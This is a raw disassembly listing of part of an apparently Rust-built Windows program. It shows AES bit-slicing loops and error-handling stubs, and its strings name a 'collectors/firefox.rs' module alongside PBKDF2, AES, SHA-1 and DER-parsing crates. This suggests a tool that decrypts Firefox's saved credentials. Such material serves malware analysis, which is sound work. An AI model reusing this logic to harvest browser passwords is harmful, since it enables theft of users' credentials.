cmp r13, 0xfffffffffffffff7
ja 0x14001da0b
cmp r9, 0x78
jbe 0x14001d143
jmp 0x14001da1f
cmp r13, 0x67
ja 0x14001d263
lea r10, [r13 + 1]
lea r9, [r13 + 8]
lea rdi, [r13*8 + 0x7f0]
add rdi, rbp
xor ecx, ecx
mov rbx, qword [rdi + rcx*8]
mov rsi, rbx
shr rsi, 8
xor rsi, rbx
and rsi, r11
mov rax, rsi
shl rax, 8
xor rsi, rbx
xor rsi, rax
mov rax, rsi
shr rax, 4
xor rax, rsi
and rax, r8
mov rbx, rax
shl rbx, 4
xor rax, rsi
xor rax, rbx
mov qword [rdi + rcx*8], rax
lea rax, [rcx + 1]
mov rcx, rax
cmp rax, 8
jne 0x14001d150
lea r14, [r13 + 0x10]
cmp r14, r9
jb 0x14001d9b7
cmp r14, 0x78
ja 0x14001d9cb
lea rcx, [r9*8 + 0x7f0]
add rcx, rbp
xor esi, esi
mov rbx, qword [rcx + rsi*8]
mov rax, rbx
shr rax, 8
xor rax, rbx
and rax, r15
mov rdi, rax
shl rdi, 8
xor rax, rbx
xor rax, rdi
mov qword [rcx + rsi*8], rax
lea rax, [rsi + 1]
mov rsi, rax
cmp rax, 8
jne 0x14001d1bd
add r13, 0x18
cmp r13, r14
jb 0x14001d9e1
cmp r13, 0x78
ja 0x14001d9f5
lea rax, [r14*8 + 0x7f0]
add rax, rbp
xor edx, edx
mov rbx, qword [rax + rdx*8]
mov rdi, rbx
shr rdi, 8
xor rdi, rbx
and rdi, r12
mov rsi, rdi
shl rsi, 8
xor rdi, rbx
xor rdi, rsi
mov rbx, rdi
shr rbx, 4
xor rbx, rdi
and rbx, r8
mov rsi, rbx
shl rsi, 4
xor rbx, rdi
xor rbx, rsi
mov qword [rax + rdx*8], rbx
lea rcx, [rdx + 1]
mov rdx, rcx
cmp rcx, 8
jne 0x14001d210
mov cl, 1
mov r13, r10
jmp 0x14001d0e1
lea rbx, [rbp + 0xb30]
lea rax, [rbp + 0xb70]
mov rcx, qword [rbx]
mov rdi, rcx
shr rdi, 8
xor rdi, rcx
and rdi, r11
mov rsi, rdi
shl rsi, 8
xor rdi, rcx
xor rdi, rsi
mov rcx, rdi
shr rcx, 4
xor rcx, rdi
and rcx, r8
mov rsi, rcx
shl rsi, 4
xor rcx, rdi
xor rcx, rsi
mov qword [rbx], rcx
lea rcx, [rbx + 8]
mov rbx, rcx
cmp rcx, rax
jne 0x14001d271
mov eax, 1
mov rsi, qword [rbp + 0xdc0]
lea rcx, [rax + 1]
shl rax, 6
not qword [rbp + rax + 0x7f0]
not qword [rbp + rax + 0x7f8]
not qword [rbp + rax + 0x818]
not qword [rbp + rax + 0x820]
mov rax, rcx
cmp rcx, 0xf
jne 0x14001d2c3
lea rcx, [rbp + 0x380]
lea rdx, [rbp + 0x7f0]
mov r8d, 0x3c0
call sub.VCRUNTIME140.dll_memcpy
mov rcx, rsi
call fcn.140001969
mov rsi, rax
mov rdi, rdx
lea r14, [rbp - 0x40]
lea rdx, [rbp + 0x380]
mov r8d, 0x3c0
mov rcx, r14
mov qword [rbp + 0xde0], rdx
call sub.VCRUNTIME140.dll_memcpy
lea rbx, [rbp + 0x7f0]
mov r8d, 0x3c0
mov rcx, rbx
mov rdx, r14
call sub.VCRUNTIME140.dll_memcpy
mov qword [rbx + 0x3c8], rdi
mov qword [rbx + 0x3c0], rsi
mov rsi, qword [rbp + 0xdb0]
test sil, 0xf
jne 0x14001da70
lea rdi, [rbp + 0xbb0]
mov rcx, rsi
call fcn.14004338f
mov rbx, rax
mov qword [rbp + 0x748], rax
mov qword [rbp + 0x750], rdx
mov qword [rbp + 0x758], 0
mov rcx, rax
mov rdx, qword [rbp + 0xcd8]
mov r8, rsi
call sub.VCRUNTIME140.dll_memcpy
mov qword [rbp + 0x758], rsi
pxor xmm0, xmm0
movdqu xmmword [rbp + 0x3f0], xmm0
movdqu xmmword [rbp + 0x3e0], xmm0
movdqu xmmword [rbp + 0x3d0], xmm0
movdqu xmmword [rbp + 0x3c0], xmm0
movdqu xmmword [rbp + 0x3b0], xmm0
movdqu xmmword [rbp + 0x3a0], xmm0
movdqu xmmword [rbp + 0x390], xmm0
mov rcx, rdi
call fcn.140001969
mov rcx, qword [rbp + 0xdb0]
and rcx, 0xffffffffffffff80
lea rdi, [rbx + rcx]
mov qword [rbp + 0xdf0], rdi
mov qword [rbp + 0x380], rax
mov qword [rbp + 0x388], rdx
test rcx, rcx
je 0x14001d50d
lea r12, [rbp + 0x390]
lea rax, [rbx + 0x80]
mov qword [rbp + 0xdc0], rax
xor esi, esi
mov rdi, rsi
shl rdi, 4
lea rcx, [rbx + rdi]
call fcn.140001969
inc rsi
mov qword [r12 + rdi + 8], rdx
mov qword [r12 + rdi], rax
cmp rsi, 7
jne 0x14001d43e
lea rcx, [rbx + 0x70]
call fcn.140001969
mov rsi, rax
mov rdi, rdx
mov r13d, 8
mov r14, rbx
cmp r13, 4
mov r15d, 4
cmovb r15, r13
lea rcx, [rbp + 0x7f0]
mov rdx, r14
mov r8, r15
call fcn.140020889
sub r13, r15
shl r15, 4
add r14, r15
test r13, r13
jne 0x14001d478
mov r10, rdi
mov r9, rsi
xor ecx, ecx
mov r8, qword [rbp + 0xdf0]
lea rdi, [rcx + 1]
xor edx, edx
mov rax, rcx
shl rax, 4
lea rsi, [rbx + rax]
add rax, rbp
add rax, 0x380
mov al, byte [rdx + rax]
xor byte [rdx + rsi], al
lea rax, [rdx + 1]
mov rdx, rax
cmp rax, 0x10
jne 0x14001d4bc
mov rcx, rdi
cmp rdi, 8
jne 0x14001d4b6
mov qword [rbp + 0x380], r9
mov qword [rbp + 0x388], r10
mov rax, qword [rbp + 0xdc0]
mov rbx, rax
cmp rax, r8
jne 0x14001d42e
mov rcx, qword [rbp + 0xde0]
call fcn.140001969
mov qword [rbp + 0xbb0], rax
mov qword [rbp + 0xbb8], rdx
lea rcx, [rbp + 0xbb0]
call fcn.140001969
mov rsi, qword [rbp + 0xdb0]
shr esi, 4
and esi, 7
mov qword [rbp + 0xd00], rax
mov qword [rbp + 0xd08], rdx
test rsi, rsi
mov rcx, qword [rbp + 0xdf0]
je 0x14001d5f5
shl rsi, 4
add rsi, rcx
xorps xmm6, xmm6
lea r14, [rbp + 0x7f0]
lea r15, [rbp + 0xc10]
mov rdi, rcx
call fcn.140001969
mov r12, rax
mov rbx, rdx
movaps xmmword [rbp + 0xc40], xmm6
movaps xmmword [rbp + 0xc30], xmm6
movaps xmmword [rbp + 0xc20], xmm6
movdqu xmm0, xmmword [rdi]
movdqa xmmword [rbp + 0xc10], xmm0
mov r8d, 4
mov rcx, r14
mov rdx, r15
call fcn.140020889
lea rax, [rdi + 0x10]
movdqa xmm0, xmmword [rbp + 0xc10]
movdqu xmmword [rdi], xmm0
xor ecx, ecx
mov dl, byte [rbp + rcx + 0xd00]
xor byte [rdi + rcx], dl
lea rdx, [rcx + 1]
mov rcx, rdx
cmp rdx, 0x10
jne 0x14001d5c8
mov qword [rbp + 0xd00], r12
mov qword [rbp + 0xd08], rbx
mov rcx, rax
cmp rax, rsi
jne 0x14001d576
lea rcx, [rbp + 0x750]
mov rax, qword [rbp + 0xd00]
mov qword [rbp + 0xbb0], rax
mov rax, qword [rbp + 0xd08]
mov qword [rbp + 0xbb8], rax
mov rax, qword [rcx - 8]
movdqu xmm0, xmmword [rcx]
movdqa xmmword [rbp + 0x380], xmm0
test rax, rax
je 0x14001da70
movaps xmm0, xmmword [rbp + 0x380]
movaps xmmword [rbp + 0x7f0], xmm0
mov rcx, qword [rbp + 0xde8]
mov qword [rcx + 8], rax
movdqa xmm0, xmmword [rbp + 0x7f0]
movdqu xmmword [rcx + 0x10], xmm0
mov qword [rcx], 0
lea rcx, [rbp + 0xbc8]
call fcn.14000759a
jmp 0x14001d6da
mov rax, qword [rbp + 0x3b0]
mov qword [rbp + 0x828], rax
movdqu xmm0, xmmword [rbp + 0x380]
movdqu xmm1, xmmword [rbp + 0x390]
movdqu xmm2, xmmword [rbp + 0x3a0]
movdqu xmmword [rbp + 0x818], xmm2
movdqa xmmword [rbp + 0xd00], xmm0
movdqa xmmword [rbp + 0xd10], xmm1
movdqa xmmword [rbp + 0xd20], xmm2
mov qword [rbp + 0xd30], rax
mov rcx, qword [rbp + 0xde8]
mov qword [rcx + 0x38], rax
movdqu xmmword [rcx + 0x28], xmm2
movdqu xmmword [rcx + 0x18], xmm1
movdqu xmmword [rcx + 8], xmm0
mov qword [rcx], 1
lea rcx, [rbp + 0xd90]
call fcn.14000759a
jmp 0x14001c22d
cmp r10b, 1
je 0x14001be4c
test r8, r8
je 0x14001d84a
movzx esi, byte [rdi]
cmp rsi, 7
ja 0x14001be4c
test r14, r14
je 0x14001d86d
mov r9, r8
dec r9
lea rdx, [r14 - 1]
mov rax, rdx
sub rax, r9
jbe 0x14001d887
mov qword [rbp + 0x800], rax
mov qword [rbp + 0x7f8], 0
jmp 0x14001be61
cmp r14, 1
jne 0x14001d814
test r8, r8
je 0x14001db9d
mov al, byte [rdi]
inc al
cmp al, 2
jae 0x14001be4c
cmp r10b, 1
sete byte [rsp + 0x30]
mov qword [rsp + 0x28], r14
mov qword [rsp + 0x38], 0x32
mov qword [rsp + 0x20], 0
lea rcx, [rbp + 0x7f0]
mov rdx, rdi
mov r9d, r15d
mov ebx, r10d
mov rsi, r11
call fcn.14003e364
mov r11, rsi
mov r10d, ebx
lea rax, [rbp + 0x7f0]
cmp dword [rax], 1
je 0x14001be6c
mov rax, qword [rbp + 0x7f8]
mov rsi, qword [rbp + 0x800]
mov r9b, byte [rbp + 0x808]
movzx edx, word [rbp + 0x809]
mov word [rbp + 0xc10], dx
mov dl, byte [rbp + 0x80b]
mov byte [rbp + 0xc12], dl
mov edx, dword [rbp + 0x80c]
mov rcx, qword [rbp + 0x810]
mov r8, qword [rbp + 0x818]
movups xmm0, xmmword [rbp + 0x820]
movaps xmmword [rbp + 0x380], xmm0
mov rdi, qword [rbp + 0x830]
mov qword [rbp + 0x390], rdi
xor edi, edi
jmp 0x14001bfaa
mov dword [rbp + 0x380], 1
mov qword [rbp + 0x384], 4
mov rax, qword [rbp + 0x380]
mov rcx, qword [rbp + 0x388]
mov qword [rbp + 0x800], rcx
mov qword [rbp + 0x7f8], rax
jmp 0x14001be61
mov qword [rbp + 0x7f8], 0
mov eax, 1
mov qword [rbp + 0x800], rax
mov qword [rbp + 0x7f0], rax
jmp 0x14001be6c
mov dword [rbp + 0x7f8], 1
mov qword [rbp + 0x7fc], 4
jmp 0x14001be61
lea r8, [rdi + 1]
cmp r14, 1
jbe 0x14001d8ba
lea rcx, [r14 - 2]
cmp rcx, rdx
jae 0x14001dbaf
test sil, sil
je 0x14001d8ba
mov cl, byte [r8 + rcx]
mov rax, rsi
test cl, 1
jne 0x14001be4c
shr cl, 1
dec rax
jne 0x14001d8aa
mov rax, qword [rbp + 0xdb8]
add rax, r14
sub r9, rdx
mov qword [rbp + 0x7f8], rax
mov qword [rbp + 0x800], r9
mov byte [rbp + 0x808], 3
mov byte [rbp + 0x809], sil
mov qword [rbp + 0x810], r8
mov qword [rbp + 0x818], rdx
mov qword [rbp + 0x7f0], 0
jmp 0x14001d7ae
lea r8, str.C:UsersThalya.cargo_registry_srcgithub.com_1ecc6299db9ec823_ring_0.16.19_srcpbkdf2.rs
mov rdx, rax
call fcn.140031870
jmp 0x14001da33
lea r8, str.C:UsersThalya.cargo_registry_srcgithub.com_1ecc6299db9ec823_ring_0.16.19_srcdigest.rs
mov edx, 0x40
mov rcx, rax
call fcn.140031fc0
jmp 0x14001da33
lea rcx, str.srccollectors_firefox.rs
call fcn.14003d2ac
jmp 0x14001da33
lea rcx, str.internal_error:_entered_unreachable_code
lea r8, str.8_e_
mov edx, 0x28
call fcn.140031820
ud2
lea r8, [rbp + 0x7f0]
mov qword [r8], 0
lea rax, str.srccollectors_firefox.rs
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, fcn.140006c3f
mov edx, 0x2b
call fcn.140034460
jmp 0x14001da33
lea rcx, str.srccollectors_firefox.rs
call fcn.14003d2ac
jmp 0x14001da33
lea r8, str.C:UsersThalya.cargo_registry_srcgithub.com_1ecc6299db9ec823_ring_0.16.19_srcdigest.rs
mov edx, 0x40
mov rcx, rsi
call fcn.140031fc0
jmp 0x14001da33
lea r8, str.C:UsersThalya.cargo_registry_srcgithub.com_1ecc6299db9ec823_aes_soft_0.6.4_src_fixslice64.rs
mov rcx, r9
mov rdx, r14
call fcn.140033750
jmp 0x14001da33
lea r8, str.C:UsersThalya.cargo_registry_srcgithub.com_1ecc6299db9ec823_aes_soft_0.6.4_src_fixslice64.rs
mov edx, 0x78
mov rcx, r14
call fcn.140031fc0
jmp 0x14001da33
lea r8, str.C:UsersThalya.cargo_registry_srcgithub.com_1ecc6299db9ec823_aes_soft_0.6.4_src_fixslice64.rs
mov rcx, r14
mov rdx, r13
call fcn.140033750
jmp 0x14001da33
lea r8, str.C:UsersThalya.cargo_registry_srcgithub.com_1ecc6299db9ec823_aes_soft_0.6.4_src_fixslice64.rs
mov edx, 0x78
mov rcx, r13
call fcn.140031fc0
jmp 0x14001da33
lea r8, str.C:UsersThalya.cargo_registry_srcgithub.com_1ecc6299db9ec823_aes_soft_0.6.4_src_fixslice64.rs
mov rcx, r13
mov rdx, r9
call fcn.140033750
jmp 0x14001da33
lea r8, str.C:UsersThalya.cargo_registry_srcgithub.com_1ecc6299db9ec823_aes_soft_0.6.4_src_fixslice64.rs
mov edx, 0x78
mov rcx, r9
call fcn.140031fc0
ud2
lea rcx, str.srccollectors_firefox.rs
call fcn.14003d2ac
jmp 0x14001da33
lea rax, str.srccollectors_firefox.rs
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, fcn.140006c3f
lea r8, [rbp + 0xc10]
mov edx, 0x2b
call fcn.140034460
jmp 0x14001da33
lea rax, str.srccollectors_firefox.rs
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, fcn.140006c3f
lea r8, [rbp + 0xc10]
mov edx, 0x2b
call fcn.140034460
jmp 0x14001da33
lea r8, str.C:UsersThalya.cargo_registry_srcgithub.com_1ecc6299db9ec823_sha1_0.6.0_srclib.rs
mov edx, 0x80
mov rcx, r9
call fcn.140031fc0
jmp 0x14001da33
lea r8, str.C:UsersThalya.cargo_registry_srcgithub.com_1ecc6299db9ec823_sha1_0.6.0_srclib.rs
mov edx, 0x40
mov rcx, r9
call fcn.140031fc0
jmp 0x14001da33
lea rcx, str.called__Option::unwrap____on_a__None__value
lea r8, str.C:UsersThalya.cargo_registry_srcgithub.com_1ecc6299db9ec823_ring_0.16.19_srcdigest.rs
mov edx, 0x2b
call fcn.140031820
jmp 0x14001da33
lea rcx, [0x14020a670]
lea r8, str.C:UsersThalya.cargo_registry_srcgithub.com_1ecc6299db9ec823_ring_0.16.19_srcdigest.rs
mov edx, 0x19
call fcn.140031820
jmp 0x14001da33
lea rax, [rbp + 0xcd0]
lea rcx, [rbp + 0xbc8]
mov qword [rcx], rax
lea rax, [rbp + 0xcc8]
lea rdx, [rbp + 0x748]
mov qword [rdx], rax
lea rax, [rbp - 0x40]
mov qword [rax], rcx
lea rcx, [0x14002298c]
mov qword [rax + 8], rcx
mov qword [rax + 0x10], rdx
mov qword [rax + 0x18], rcx
lea rdx, str.assertion_failed:___left__right___n__left:___:_queue_is_not_full__tail____head_
lea rcx, [rbp + 0x380]
mov qword [rcx], rdx
mov qword [rcx + 8], 3
mov qword [rcx + 0x10], 0
mov qword [rcx + 0x20], rax
mov qword [rcx + 0x28], 2
lea rdx, str.C:UsersThalya.cargo_registry_srcgithub.com_1ecc6299db9ec823_ring_0.16.19_srcdigest.rs
call fcn.140031a20
jmp 0x14001da33
lea rcx, str.called__Option::unwrap____on_a__None__value
lea r8, str.C:UsersThalya.cargo_registry_srcgithub.com_1ecc6299db9ec823_ring_0.16.19_srcdigest.rs
mov edx, 0x2b
call fcn.140031820
jmp 0x14001da33
lea r8, str.C:UsersThalya.cargo_registry_srcgithub.com_1ecc6299db9ec823der_parser_5.0.0_srcderparser.rs
xor ecx, ecx
xor edx, edx
call fcn.140031870
ud2
lea r8, str.C:UsersThalya.cargo_registry_srcgithub.com_1ecc6299db9ec823der_parser_5.0.0_srcderparser.rs
jmp 0x14001dba8